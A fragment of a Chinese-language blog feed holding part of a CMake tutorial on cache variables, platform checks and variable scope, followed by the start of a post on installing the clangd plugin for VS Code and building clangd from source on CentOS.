&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;sett(myvar &amp;quot;hello world&amp;quot; CACHE STRING &amp;quot;this is the docstring of myvar&amp;quot; FORCE) # The last string is a docstring
message(STATUS &amp;quot;myvar = ${myvar}&amp;quot;) # result is &amp;quot;myvar = hello world&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其实也可以通过命令行参数来更新&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake -B build -Dmyvar=&amp;quot;goodbye world&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外还可以通过图形界面来编辑缓存变量，Linux 上可以使用 &lt;code&gt;ccmake&lt;&#x2F;code&gt; 命令，Windows 上可以使用 &lt;code&gt;cmake-gui&lt;&#x2F;code&gt; 命令。&lt;&#x2F;p&gt;
&lt;p&gt;最后还可以通过直接编辑 CMakeCache.txt 文件来更新缓存变量，该文件被设置为文本文件就是可供用户手工编辑或者被第三方软件打开并解析的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;huan-cun-bian-liang-lei-xing&quot;&gt;缓存变量类型&lt;&#x2F;h3&gt;
&lt;p&gt;缓存变量由如下类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;STRING 字符串，例如 “hello, world”&lt;&#x2F;li&gt;
&lt;li&gt;FILEPATH 文件路径，例如 “C:&#x2F;vcpkg&#x2F;scripts&#x2F;buildsystems&#x2F;vcpkg.cmake”&lt;&#x2F;li&gt;
&lt;li&gt;PATH 目录路径，例如 “C:&#x2F;Qt&#x2F;Qt5.14.2&#x2F;msvc2019_64&#x2F;lib&#x2F;cmake&#x2F;”&lt;&#x2F;li&gt;
&lt;li&gt;BOOL 布尔值，只有两个取值：ON 或 OFF。
注意：TRUE 和 ON 等价，FALSE 和 OFF 等价；YES 和 ON 等价，NO 和 OFF 等价&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;CMake 对 BOOL 类型的缓存变量的 set 指令提供了一个简写 option，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;add_executable(myapp main.cpp)

option(WITH_TBB &amp;quot;set to ON to enable TBB, OFF disale TBB&amp;quot; ON)
if (WITH_TBB)
    find_package(TBB CONFIG REQUIRED)
    target_link_libraries(myapp PRIVATE TBB::tbb)
    target_compile_definitions(myapp PRIVATE WITH_TBB)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;跟前面一样，容易犯的一个经典错误就是直接改 CMakeLists.txt 文件，然后重新运行 CMake，这样是不会更新缓存变量的。官方推荐做法是使用 &lt;code&gt;-DTBB:BOOL=ON&#x2F;OFF&lt;&#x2F;code&gt; 命令行参数来更新缓存变量。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;rao-kai-huan-cun&quot;&gt;绕开缓存&lt;&#x2F;h3&gt;
&lt;p&gt;既然缓存有这么多坑，那么我们就可以绕开缓存，直接使用带普通变量的默认值来达到相同的效果，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;if (NOT DEFINED WITH_TBB)
    set(WITH_TBB ON)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一般来讲，CMake 自带的变量都会用这个方式来设置，但是就是会在 ccmake 中看不到。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kua-ping-tai-yu-bian-yi-qi&quot;&gt;跨平台与编译器&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;hong-bian-liang-kua-ping-tai&quot;&gt;宏变量跨平台&lt;&#x2F;h3&gt;
&lt;p&gt;可以根据操作系统不同定义不同的宏变量，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;if (CMAKE_SYSTEM_NAME STREQUAL &amp;quot;Windows&amp;quot;)
    target_compile_definitions(main PUBLIC MY_NAME=&amp;quot;Bill Gates&amp;quot;)
elseif (CMAKE_SYSTEM_NAME STREQUAL &amp;quot;Linux&amp;quot;)
    target_compile_definitions(main PUBLIC MY_NAME=&amp;quot;Linus Torvalds&amp;quot;)
elseif (CMAKE_SYSTEM_NAME STREQUAL &amp;quot;Darwin&amp;quot;)
    target_compile_definitions(main PUBLIC MY_NAME=&amp;quot;Steve Jobs&amp;quot;)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样代码中就可以&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;cstdio&amp;gt;
int main() {
#ifdef MY_NAME
    printf(&amp;quot;Hello, %s!\n&amp;quot;, MY_NAME);
#else
    printf(&amp;quot;Hello, world!\n&amp;quot;);
#endif
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前面的 CMake 代码使用简写变量可读性会稍微强一点&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;if (WIN32)
    target_compile_definitions(main PUBLIC MY_NAME=&amp;quot;Bill Gates&amp;quot;)
elseif (UNIX AND NOT APPLE)
    target_compile_definitions(main PUBLIC MY_NAME=&amp;quot;Linus Torvalds&amp;quot;)
elseif (APPLE)
    target_compile_definitions(main PUBLIC MY_NAME=&amp;quot;Steve Jobs&amp;quot;)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;还可以使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;latest&#x2F;manual&#x2F;cmake-generator-expressions.7.html%23genex%3APLATFORM_ID&quot;&gt;生成器表达式&lt;&#x2F;a&gt; 简化为一条语句&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;target_compile_definitions(main PUBLIC
    $&amp;lt;$&amp;lt;PLATFORM_ID:Windows&amp;gt;:MY_NAME=&amp;quot;Bill Gates&amp;quot;&amp;gt;
    $&amp;lt;$&amp;lt;PLATFORM_ID:Linux&amp;gt;:MY_NAME=&amp;quot;Linus Torvalds&amp;quot;&amp;gt;
    $&amp;lt;$&amp;lt;PLATFORM_ID:Darwin&amp;gt;:MY_NAME=&amp;quot;Steve Jobs&amp;quot;&amp;gt;)

# using comma to separate
target_compile_definitions(main PUBLIC
    $&amp;lt;$&amp;lt;PLATFORM_ID:Windows&amp;gt;:MY_NAME=&amp;quot;DOS-like&amp;quot;&amp;gt;,
    $&amp;lt;$&amp;lt;PLATFORM_ID:Linux,Darwin,FreeBSD&amp;gt;:MY_NAME=&amp;quot;Unix-like&amp;quot;&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bian-yi-qi&quot;&gt;编译器&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;latest&#x2F;variable&#x2F;CMAKE_LANG_COMPILER_ID.html%23variable%3ACMAKE_%253CLANG%253E_COMPILER_ID&quot;&gt;判断所使用的编译器&lt;&#x2F;a&gt;，如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;if (CMAKE_CXX_COMPILER_ID STREQUAL &amp;quot;GNU&amp;quot;)
    message(STATUS &amp;quot;using gcc&amp;quot;)
elseif (CMAKE_CXX_COMPILER_ID STREQUAL &amp;quot;MSVC&amp;quot;)
    message(STATUS &amp;quot;using MSVC&amp;quot;)
elseif (CMAKE_CXX_COMPILER_ID STREQUAL &amp;quot;Clang&amp;quot;)
    message(STATUS &amp;quot;using clang&amp;quot;)
elseif (CMAKE_CXX_COMPILER_ID STREQUAL &amp;quot;NVIDIA&amp;quot;)
    message(STATUS &amp;quot;using nvcc&amp;quot;)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从命令行指定编译器&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake -B build -DCMAKE_CXX_COMPILER=&amp;quot;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;clang++&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以通过环境变量指定编译器&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export CC=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;clang
export CXX=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;clang++
cmake -B build
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;tiao-jian-yu-pan-duan&quot;&gt;条件与判断&lt;&#x2F;h3&gt;
&lt;p&gt;if 语句中的变量会自动展开，无需添加 &lt;code&gt;${}&lt;&#x2F;code&gt;，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(myvar &amp;quot;hello world&amp;quot;)
if (myvar STREQUAL &amp;quot;hello world&amp;quot;)
    message(STATUS &amp;quot;myvar is hello world&amp;quot;)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果要加 &lt;code&gt;${}&lt;&#x2F;code&gt;，则需要用引号括起来（否则因为其特殊的规则会有一些其奇奇怪怪的问题），例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(myvar &amp;quot;hello world&amp;quot;)
if (&amp;quot;${myvar}&amp;quot; STREQUAL &amp;quot;hello world&amp;quot;)
    message(STATUS &amp;quot;myvar is hello world&amp;quot;)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bian-liang-yu-zuo-yong-yu&quot;&gt;变量与作用域&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;bian-liang-de-chuan-bo&quot;&gt;变量的传播&lt;&#x2F;h3&gt;
&lt;p&gt;变量的传播规则：父会传递给子，子不会传递给父，兄弟之间不会传递。&lt;&#x2F;p&gt;
&lt;p&gt;如果子模块需要向父模块传递变量，可以使用 &lt;code&gt;set&lt;&#x2F;code&gt; 命令的 &lt;code&gt;PARENT_SCOPE&lt;&#x2F;code&gt; 参数，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(myvar &amp;quot;hello world&amp;quot; PARENT_SCOPE)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;缓存变量全局可见，会传播到整个项目中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;du-li-zuo-yong-yu&quot;&gt;独立作用域&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;include 的 XXX.cmake 没有独立作用域&lt;&#x2F;li&gt;
&lt;li&gt;add_subdirectory 的 CMakeLists.txt 有独立作用域&lt;&#x2F;li&gt;
&lt;li&gt;macro 没有独立作用域&lt;&#x2F;li&gt;
&lt;li&gt;function 有独立作用域（因此 PARENT_SCORE 也可以用于 function 的返回值）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;更多内容可以参考以下链接
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;v3.16&#x2F;command&#x2F;set.html&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;v3.16&#x2F;command&#x2F;set.html&quot;&gt;cmake.org&#x2F;cmake&#x2F;help&#x2F;v3&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;v3.16&#x2F;command&#x2F;set.html&quot;&gt;.16&#x2F;command&#x2F;set.html&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.csdn.net&#x2F;Calvin_zhou&#x2F;article&#x2F;details&#x2F;104060927&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.csdn.net&#x2F;Calvin_zhou&#x2F;article&#x2F;details&#x2F;104060927&quot;&gt;blog.csdn.net&#x2F;Calvin_zh&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;blog.csdn.net&#x2F;Calvin_zhou&#x2F;article&#x2F;details&#x2F;104060927&quot;&gt;ou&#x2F;article&#x2F;details&#x2F;104060927&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bian-liang-de-fang-wen&quot;&gt;变量的访问&lt;&#x2F;h3&gt;
&lt;p&gt;用 &lt;code&gt;${xx}&lt;&#x2F;code&gt; 访问的是局部变量，局部变量服从刚刚所说的父子模块传播规则。&lt;&#x2F;p&gt;
&lt;p&gt;用 &lt;code&gt;$ENV{xx}&lt;&#x2F;code&gt; 访问的是环境变量，环境变量是全局的，不服从父子模块传播规则。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;message(STATUS &amp;quot;PATH = $ENV{PATH}&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用 &lt;code&gt;$CACHE{xx}&lt;&#x2F;code&gt; 访问的是缓存变量，缓存变量是全局的，不服从父子模块传播规则。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;message(STATUS &amp;quot;CMAKE_CXX_COMPILER_ID = $CACHE{CMAKE_CXX_COMPILER_ID}&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;${XX}&lt;&#x2F;code&gt; 找不到局部变量时会去找缓存变量，如果缓存变量也找不到，就会报错。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;if (DEFINED myvar)&lt;&#x2F;code&gt; 会判断 myvar 是否被定义，而 &lt;code&gt;if (myvar)&lt;&#x2F;code&gt; 会判断 myvar 的值是否为空，前者即使 myvar 的值为空也会返回 true。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;if (DEFINED ENV{XX})&lt;&#x2F;code&gt; 判断环境变量是否被定义，&lt;code&gt;if (DEFINED CACHE{XX})&lt;&#x2F;code&gt; 判断缓存变量是否被定义。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qi-ta-xiao-jian-yi&quot;&gt;其他小建议&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;ccache-bian-yi-jia-su-huan-cun&quot;&gt;CCache：编译加速缓存&lt;&#x2F;h3&gt;
&lt;p&gt;CCache 官方网站：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;ccache.dev&#x2F;&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;ccache.dev&#x2F;&quot;&gt;ccache.dev&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将所有的编译链接指令前加上 &lt;code&gt;ccache&lt;&#x2F;code&gt; 即可，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;cmake_minimum_required(VERSION 3.15)
project(hellocmake)

find_program(CCACHE_PROGRAM ccache)
if (CCACHE_PROGRAM)
    message(STATUS &amp;quot;Found ccache: ${CCACHE_PROGRAM}&amp;quot;)
    set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE &amp;quot;${CCACHE_PROGRAM}&amp;quot;)
    set_property(GLOBAL PROPERTY RULE_LAUNCH_LINK &amp;quot;${CCACHE_PROGRAM}&amp;quot;)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;tian-jia-run-wei-mu-biao&quot;&gt;添加 run 伪目标&lt;&#x2F;h3&gt;
&lt;p&gt;创建一个 run 伪目标，执行 main 的可执行文件，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;add_executable(main main.cpp)

add_custom_target(run
    COMMAND $&amp;lt;TARGET_FILE:main&amp;gt;
    WORKING_DIRECTORY ${CMAKE_PROJECT_DIR}
)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后就可以通过以下命令运行程序了&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake --build build --target run
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其最大的好处是跨平台，不用考虑在 Windows 上使用 build\main.exe 还是在 Linux 上使用 build&#x2F;main，CMake 会自动处理这个问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tian-jia-configure-wei-mu-biao&quot;&gt;添加 configure 伪目标&lt;&#x2F;h3&gt;
&lt;p&gt;创建一个 configure 伪目标，可视化修改缓存，好处同样是跨平台。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;if (CMAKE_EDIT_COMMAND)
    add_custom_target(configure
        COMMAND ${CMAKE_EDIT_COMMAND}
        WORKING_DIRECTORY ${CMAKE_BINARY_DIR}
    )
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Visual Studio Code的clangd插件一篇通</title>
        <published>2024-01-03T00:00:00+00:00</published>
        <updated>2024-01-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/visual-studio-code的clangd插件一篇通/"/>
        <id>https://vercel.juzhong.asia/obsidian/visual-studio-code的clangd插件一篇通/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/visual-studio-code的clangd插件一篇通/">&lt;h1 id=&quot;visual-studio-codede-clangdcha-jian-yi-pian-tong&quot;&gt;Visual Studio Code的clangd插件一篇通&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;苦于微软出品的 C&#x2F;C++ 插件久矣，时不时就会出现代码提示失效，跳转失败的问题。现在火热的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=Jetbrains&amp;amp;spm=1001.2101.3001.7020&quot;&gt;Jetbrains&lt;&#x2F;a&gt;公司的Clion以及Vim上的Youcompleteme插件现在都在用clangd，相比于 C&#x2F;C++扩展，clangd具有全项目索引、代码跳转、变量重命名、更快的代码补全、提示信息、格式化代码等功能，内存占用和资源占用上也更具优势。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;clangdcha-jian-an-zhuang&quot;&gt;clangd插件安装&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;clangd插件与微软的C&#x2F;C++相关插件冲突，那么安装之前关闭
&lt;code&gt;Ctrl + Shift + X&lt;&#x2F;code&gt;在扩展商店中搜&lt;code&gt;C&#x2F;C++&lt;&#x2F;code&gt;禁用已安装的C&#x2F;C++插件，如&lt;code&gt;C&#x2F;C++&lt;&#x2F;code&gt;、&lt;code&gt;C&#x2F;C++ Themes&lt;&#x2F;code&gt;等&lt;&#x2F;li&gt;
&lt;li&gt;安装clangd插件
&lt;code&gt;Ctrl + Shift + X&lt;&#x2F;code&gt;在扩展商店中搜&lt;code&gt;clangd&lt;&#x2F;code&gt;安装即可&lt;&#x2F;li&gt;
&lt;li&gt;安装clangd应用，&lt;code&gt;clangd&lt;&#x2F;code&gt;插件是基于&lt;code&gt;clangd&lt;&#x2F;code&gt;命令实现的
&lt;code&gt;Ctrl + Shift +P&lt;&#x2F;code&gt;在命令窗口中搜&lt;code&gt;clangd: Download language server&lt;&#x2F;code&gt; ，vscode自动从&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;clangd&#x2F;clangd&#x2F;releases&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;clangd&#x2F;clangd&#x2F;releases&lt;&#x2F;a&gt;下载最新的clangd包，剩下就是焦灼的等待。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;第三步也可以手动下载对应的离线包，如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;clangd&#x2F;clangd&#x2F;releases&#x2F;download&#x2F;16.0.2&#x2F;clangd-linux-16.0.2.zip&quot;&gt;clangd-linux-16.0.2.zip&lt;&#x2F;a&gt;，然后解压后将其bin路径配置到&lt;code&gt;PATH&lt;&#x2F;code&gt;环境变量中，重启vscode即可。&lt;&#x2F;p&gt;
&lt;p&gt;不幸的是一遍遍的安装一遍遍的提示找不到不&lt;code&gt;clangd&lt;&#x2F;code&gt;需要下载安装，手动执行&lt;code&gt;clangd --version&lt;&#x2F;code&gt;出现&lt;code&gt;bin&#x2F;clangd: &#x2F;lib64&#x2F;libc.so.6: version &lt;&#x2F;code&gt;GLIBC_2.18’ not found (required by bin&#x2F;clangd)`错误提示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;rpm -qf &#x2F;lib64&#x2F;libc.so.6&lt;&#x2F;code&gt;查看这个动态库属于&lt;code&gt;glibc-2.17-325.el7_9.x86_64&lt;&#x2F;code&gt;，通过命令&lt;code&gt;strings &#x2F;lib64&#x2F;libc.so.6 | egrep ^GLIBC_2&lt;&#x2F;code&gt;查看其兼容的版本号。&lt;&#x2F;p&gt;
&lt;p&gt;CentOS上各种库与工具相对来说版本都很低。那么接下来更新一些工具库来源码编译&lt;code&gt;clangd&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-ma-bian-yi-clangd&quot;&gt;源码编译&lt;code&gt;clangd&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;clangd understands your C++ code and adds smart features to your editor: code completion, compile errors, go-to-definition and more.&lt;&#x2F;p&gt;
&lt;p&gt;clangd is a language server that can work with many editors via a plugin. Here’s Visual Studio Code with the clangd plugin, demonstrating code completion:&lt;&#x2F;p&gt;
&lt;p&gt;clangd is based on the Clang C++ compiler, and is part of the LLVM project.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sheng-ji-cmakeban-ben&quot;&gt;升级cmake版本&lt;&#x2F;h3&gt;
&lt;p&gt;根据llvm源码告警，cmake版本不低于3.20.0&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;下载Binary distributions
&lt;code&gt;wget https:&#x2F;&#x2F;github.com&#x2F;Kitware&#x2F;CMake&#x2F;releases&#x2F;download&#x2F;v3.27.4&#x2F;cmake-3.27.4-linux-x86_64.tar.gz&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;解压
&lt;code&gt;tar -xvf cmake-3.27.4-linux-x86_64.tar.gz&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;将cmake的bin目录添加到PATH路径里，如&lt;code&gt;export PATH=&#x2F;usr&#x2F;local&#x2F;cmake-3.27.4-linux-x86_64&#x2F;bin:$PATH&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;sheng-ji-gccban-ben&quot;&gt;升级gcc版本&lt;&#x2F;h3&gt;
&lt;p&gt;根据cmake告警提示&lt;code&gt;Host GCC version must be at least 7.1, your version is 4.8.5.&lt;&#x2F;code&gt;，gcc版本不低于7.1，这里直接安装使用scl的devtoolset-8工具链&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;yum install -y centos-release-scl
yum install -y scl-utils-build
yum install -y devtoolset-8-toolchain
scl -l
scl enable devtoolset-8 bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bian-yi-clangd&quot;&gt;编译&lt;code&gt;clangd&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;参考官方资料 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clangd.llvm.org&#x2F;&quot;&gt;https:&#x2F;&#x2F;clangd.llvm.org&#x2F;&lt;&#x2F;a&gt; faq&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;下载llvm-project源码包
&lt;code&gt;wget https:&#x2F;&#x2F;github.com&#x2F;llvm&#x2F;llvm-project&#x2F;releases&#x2F;download&#x2F;llvmorg-16.0.6&#x2F;llvm-project-16.0.6.src.tar.xz&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;编译参数&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;tar -xvf llvm-project-16.0.6.src.tar.xz
mkdir llvm-project-16.0.6.src&amp;#x2F;build
cd llvm-project-16.0.6.src&amp;#x2F;build
cmake3 -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;llvm-16.0.6 -DLLVM_ENABLE_PROJECTS=&amp;quot;clang;clang-tools-extra&amp;quot; ..&amp;#x2F;llvm
make install -j $(nproc)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;编译完成后将&lt;code&gt;&#x2F;usr&#x2F;local&#x2F;llvm-16.0.6&#x2F;bin&lt;&#x2F;code&gt;添加到&lt;code&gt;PATH&lt;&#x2F;code&gt;环境变量中&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;pei-zhi&quot;&gt;配置&lt;&#x2F;h2&gt;
&lt;p&gt;配置相对来说比较复杂，包括插件配置，工程配置，格式化风格配置等&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cha-jian-pei-zhi&quot;&gt;插件配置&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;Ctrl + ,&lt;&#x2F;code&gt;切换出配置页面，【工作区】【扩展】【clangd】，也可以在settings.json直接配置，其中&lt;code&gt;clangd.arguments&lt;&#x2F;code&gt;的配置&lt;code&gt;clangd --help&lt;&#x2F;code&gt;即可&lt;&#x2F;p&gt;
